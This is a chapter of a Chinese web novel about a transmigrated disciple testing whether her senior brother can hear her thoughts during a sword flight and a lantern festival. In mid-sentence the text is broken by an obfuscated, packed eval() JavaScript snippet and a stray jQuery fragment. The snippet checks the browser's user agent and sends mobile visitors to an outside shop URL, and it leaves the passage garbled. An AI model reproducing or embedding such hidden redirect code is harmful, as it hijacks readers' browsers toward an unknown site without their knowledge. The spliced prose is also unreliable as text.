在容峣的预想中,她刻意点出穿的情侣装,若他能听到,只对女主另眼相待的气运之子,应该会拒绝。
直接点的,说不定会摊牌心声一事。
就算委婉点,也会找借口换下来。
在她暗含期待的视线中,冷述春抬脚往外走,见她站在原地没跟上,还回头用眼神示意可以出发。
不死心地试图从他一举一动捕捉到异常,两人步行至山门,一路上偶有弟子朝她们投来关注的视线,冷述春依旧没任何表情变化。
九穹宗建在半山上,平日里宗门不许御剑,但只要出了山门,几乎所有弟子都会选择御剑下山。
看着陆陆续续召唤出配剑,宛如白鹤一般在半空中疾驰而去的弟子,佟岁安眼里流露出羡慕。
身在三大宗门之一,以剑修为主的九穹宗,她却连基本的御剑都不会。
同景十二至少能用灵力维持基本生活不同,原主体内的毒深入五脏,若是使用灵力,只会加速毒素催化。
因此在这个全员修仙的世界,原主算是罕见地同凡人一般生活的存在。
见小师妹的视线频繁流连于御剑的弟子身上,冷述春收起刚拿出的小舟,转而拔出自己的佩剑。
寒光闪过,佟岁安很快被吸引注意力,目光落在那柄通体雪白、底端有浪纹的剑上。
虽知气运之子的佩剑定非比寻常,但近距离细看时,容峣还是忍不住眼前一亮。
此剑名为“断川”,比寻常的剑略宽,雪白如浪花飞溅,拔出的那一刻仿佛听到铮铮水流。
心里暗叹一声好剑,她看出冷述春的打算,语带雀跃:“师兄,我们也要御剑下山吗?”
在她说话时,冷述春已控制断川变大,稳稳地悬停在离地两寸处。
抬脚往上,他微微转身,伸手将小师妹扶至身后。
长剑悠悠朝天上而去,一开始容峣还故意展现出几分新奇,但小半个时辰后,面色却带着点僵硬。
原以为御剑这么亲密的举止,能创造不少肢体接触的机会,但这个宛如村口大爷遛乌龟的速度,她都不好意思假装站不稳!
连路过的鸟都要回头看一眼,像是疑惑天上怎么会有这么慢腾腾的东西。
她合理怀疑气运之子是故意的,以这速度等她们赶到灯会,怕是没多久就要结束。
一抹流云轻柔地从身侧飘过,容峣伸手,目的明确地拉了拉身前人的衣袖。
感受到袖口被攥住的力度,冷述春回想起她在书阁里的动作。
小师妹在撒娇?这次又是为了什么?
没让他多等,身后传来一道羞怯又暗含期待的声音。
“师兄,可以快一些吗?”
闻言,冷述春略微提高速度,同时加大周身的防护罩,确保小师妹吹不到一丝疾风。
很好,现在比乌龟快一点。
一不做二不休,容峣又扯了扯手中的袖口,催促之意不言而喻。
然后脚下的剑,又稍微快了一点点。
不知从何时起,两人竟维持在扯一下、快一点的默契中,只是几番下来,堪堪追上方才路过的飞鸟。
忍无可忍,容峣将他衣袖攥得更紧,小心翼翼:“师兄,能否让我试一试?”
若是往常,冷述春会严格执行师尊的叮嘱,拒绝小师妹不合理的要求。
但此刻虽柔弱却坚持不懈的拉力从袖口传来,脑中浮现出那双总是亮晶晶的,带着期待和央求的眼睛。
等他反应过来,手中已经多了个无需灵力,便可控制断川的小阵。
原本对此不抱期待,只想催他再快点的容峣,眼前兀地出现点点蓝光。
身前的人侧身而立,右手掌心浮现出蓝光闪闪的小阵,正无声演示如何用其御剑。
眉毛微抬,容峣敏锐地察觉到,冷述春对她的态度,多了丝纵容。
但这从何而起?难道是因为知晓她的心意?
不应该啊,若是知道不该拉开距离吗?难道这浓眉大眼的气运之子是个拎不清的,男配失格?
心里揣着事,她随手在小阵上往前一划,断川“咻”地一声,猛地往前蹿出去。
到底是低估了这具身体的虚弱程度,随着脚下的风景极速掠过,她突然脑袋一懵双腿发软。
身体不受控制地向前倒去,容峣本能地抓住最近的物体,只是刚要站定,感受到掌下柔软又有韧性的触感,指尖不自觉地捏了捏。
很快,她意识到捏的是什么。
嘿嘿,胸肌,真大,手感真好。
被人迅速扶着肩膀站好,她努力在脸上挤出一丝绯红,装出眼睛都不知该往哪放的模样。
但对方似乎毫无所觉,只默默调整阵法,将速度再次降下来。
余光一直留意着他的反应,见此容峣眼底划过一抹疑惑。
真是个木头?被占便宜都没反应?
怪哉怪哉。
虽说抱着试探底线的心思,但她也不好做得太过,接下来的路程两人相安无事。
等两人慢悠悠赶到灯会时,天已经完全黑透,五彩斑斓、形状各异的花灯悬挂于大街小巷中,暖黄的灯光将这一片天空照得通明。
但最先吸引容峣注意力的,是街边被灯光照得亮堂堂、红彤彤,颗颗圆润饱满的糖葫芦。
这几日吃食寡淡、药液又苦,嘴里又涩又淡,急需一点有味儿的东西拯救味觉。
试探着摸去摊边,鬼鬼祟祟地掏钱买下最漂亮的一串糖葫芦,见冷述春始终跟在她身后却并未反对,容峣满足地咬下一大口。
酸甜的滋味在味蕾绽放,她感动得几乎要落泪。
谁能想到,有朝一日连糖葫芦都能成为美食,自打来到这个世界,她就没吃到几顿好饭!
等下一个任务,她一定要大吃特吃!
暗自下定决心,容峣正要狠狠再咬下一大口,斜后方突然插来一只手,直截了当拿走她掌中的竹签。
嘴里落空,她略带茫然地看过去,只见冷述春手中握着同他气质全然不符的糖葫芦,神情肃然。
读懂他眼底的拒绝,容峣也没忘出门一趟真正的目的,当即在心中哀嚎。
[呜呜呜我想吃!就一口,再吃一口好不好!求你了大师兄!]
然而对方不为所动,在他出手处理剩下的糖葫芦前,容峣灵光一闪,眼底划过一抹狡黠,随后可怜兮兮地开口。
“师兄,这个真的很好吃,不要丢掉好不好。”
恋恋不舍地盯着他手中的糖葫芦,容峣无意识舔了下嘴唇,语气里满是试探。
“扔掉太可惜了,而且好浪费,”做出痛心疾首的模样,她终于将视线移向对方,忍痛割爱:“不若师兄尝尝看?”
说完
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565891|203733||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,她迅速摘下被咬过的第一颗,眼巴巴地看着对面的人,余光却一直搁在糖葫芦上。
她倒要看看,冷述春能纵容到何种地步。
各色的灯火倒映在他幽静的眼中,像是暗夜中炸开的烟火,绚烂后残留斑斓烟雾,覆上一层生动的神采。
可惜眼睛的主人如往常一般古井无波,平静地注视着容峣垂在身侧的手。
一抹灵力悄然而至,轻巧地从中掏出一粒被咬过的糖葫芦,而后消失在两人面前。
想要偷吃的小动作落空,佟岁安若无其事地松开手,视线漂移。
“忘了扔,哈哈,师兄你要吃吗?”
咽了下口水,她再次看向糖葫芦,眼尾下垂:“其实我多吃......”
“一口也没问题”,后半句话卡在嘴里,因为面前的人已经举起木签,面无表情地将剩下几粒送入口中。
一边为没吃到可惜,一边又为他真吃了感到惊讶。
容峣心道,他是不是有点没边界感?
谁知这只是个开始,后边她无论吃什么,都只能吃一小口,剩下的全被冷述春解决。
当然,她吃的东西,也得经过他同意才行。
不仅如此,气运之子就像一道无处不在的影子,冷不丁出手,擦去她嘴角的碎屑、濯洗指尖的残渣、不让任何人碰到她。
诸如此类,不胜枚举。
回想当初他对曲荧无微不至的照顾,哈哈,如今她也是享受上女主的待遇。
他不是没边界感,只是把她当成毫无自理能力的孩童罢了。
吃得不尽兴,容峣索性将注意力放在玩上,恰巧路过一家花灯摊,她的视线被一盏蛇形花灯吸引。
小蛇白白胖胖的,身下是一座莲台,嘴里衔着一朵淡粉色的小花,看起来有几分憨态可掬的可爱模样。
但真正让容峣出神的,是联想到上个任务最后脱离秘境时,死死缠绕在她腕上的那条蛇。
当时围着她的妖兽太多,手脚都被蛇群束缚,显得腕上那条并不突出。
但真的会有这么巧的事吗?
还是说因为气运之子想救她,被他的运势影响?
很奇怪,在这个世界,她时常有矛盾的感觉。
时而觉得气运之子运道不行,时而又觉得太好,就连她自己也是如此。
几次三番从必死局寻到生机,按常理来说算得上运气好,但对她的任务而言,却是倒了大霉。
这又该如何算?
所以那条,将白缎和她的手腕紧紧捆绑,让气运之子能拉着她脱离秘境的蛇,真的只是巧合吗?
思索间,冷述春已经付好钱,将小蛇花灯递过来。
下意识伸手接过,她的视线由下往上,落到冷述春脸上,光影明明灭灭。
自进这个世界来,总发生一些莫名的事,一种古怪的不安感萦绕在心间。
眼底映出摇曳的灯火,和那张总是平静到近乎漠然的脸。
在这一刹那,她突然不想再做无谓的试探。
要赌,就赌一把大的。
在即将从他手中接过花灯时,顶着暴露的风险,容峣顷刻决定三管齐下。
上前一步凑到面前,两人呼吸交缠间,她反手攥住他的手指,仰头看过去。
[对我这般好,你可知道,我不是你小师妹,而是夺舍之人?]